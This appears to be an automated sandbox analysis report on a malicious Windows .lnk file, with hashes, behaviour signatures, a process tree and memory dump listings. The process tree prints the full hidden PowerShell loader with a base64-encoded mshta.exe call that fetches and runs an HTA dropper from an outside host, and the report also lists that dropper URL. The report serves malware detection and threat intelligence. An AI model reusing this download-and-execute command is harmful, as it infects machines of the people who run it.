Analysis

  • max time kernel
    300s
  • max time network
    203s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/05/2026, 15:08

General

  • Target
    Doc_8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c.lnk
  • Size 2KB
  • Sample260504-sh684aev2y
  • SHA256 672276ff3a86783dcd56a706dd931ebcd0023e63f5cdb8fe0f865335a5b9d74e
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://243.180.62.50.host.secureserver.net/8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c/4d2c1f00-36b3-42f9-9c96-d5e6fee257cf

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Doc_8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1708
    • C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$b = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('QU51VVlyWE16V2NscXRTVGFLZ1Z8QzpcV2luZG93c1xTeXN0ZW0zMlxtc2h0YS5leGUgImh0dHBzOi8vMjQzLjE4MC42Mi41MC5ob3N0LnNlY3VyZXNlcnZlci5uZXQvOGI4ZWZlNTctNGNhMy00ZmQ5LThiYWEtMTM1MWNkZjZiNDFjLzRkMmMxZjAwLTM2YjMtNDJmOS05Yzk2LWQ1ZTZmZWUyNTdjZiI=')); $a = $b -split '\|',2 | Select-Object -Last 1; $sb = [ScriptBlock]::Create($a); & $sb"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:988
      • C:\Windows\System32\mshta.exe
        "C:\Windows\System32\mshta.exe" https://243.180.62.50.host.secureserver.net/8b8efe57-4ca3-4fd9-8baa-1351cdf6b41c/4d2c1f00-36b3-42f9-9c96-d5e6fee257cf
        3⤵
        • Badlisted process makes network request
        PID:1124

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        __PSScriptPolicyTest_3k0qppnu.xs0.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3k0qppnu.xs0.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/988-2-0x000002A9E0A00000-0x000002A9E0A10000-memory.dmp

        memory/988-3-0x000002A9E0A00000-0x000002A9E0A10000-memory.dmp

        memory/988-10-0x000002A9E0980000-0x000002A9E09A2000-memory.dmp

        memory/988-14-0x000002A9C8690000-0x000002A9C86A2000-memory.dmp

        memory/988-13-0x000002A9C81D0000-0x000002A9C81DC000-memory.dmp

        memory/1124-24-0x0000028C96E00000-0x0000028C96E0C000-memory.dmp

        memory/1124-23-0x0000028C96F40000-0x0000028C970DA000-memory.dmp

        memory/1124-41-0x0000028C98FC0000-0x0000028C98FFA000-memory.dmp

        memory/1124-69-0x0000028C96F40000-0x0000028C970DA000-memory.dmp

        memory/1708-16-0x000001ADD25C0000-0x000001ADD25CC000-memory.dmp

        memory/1708-15-0x000001ADD21B0000-0x000001ADD234A000-memory.dmp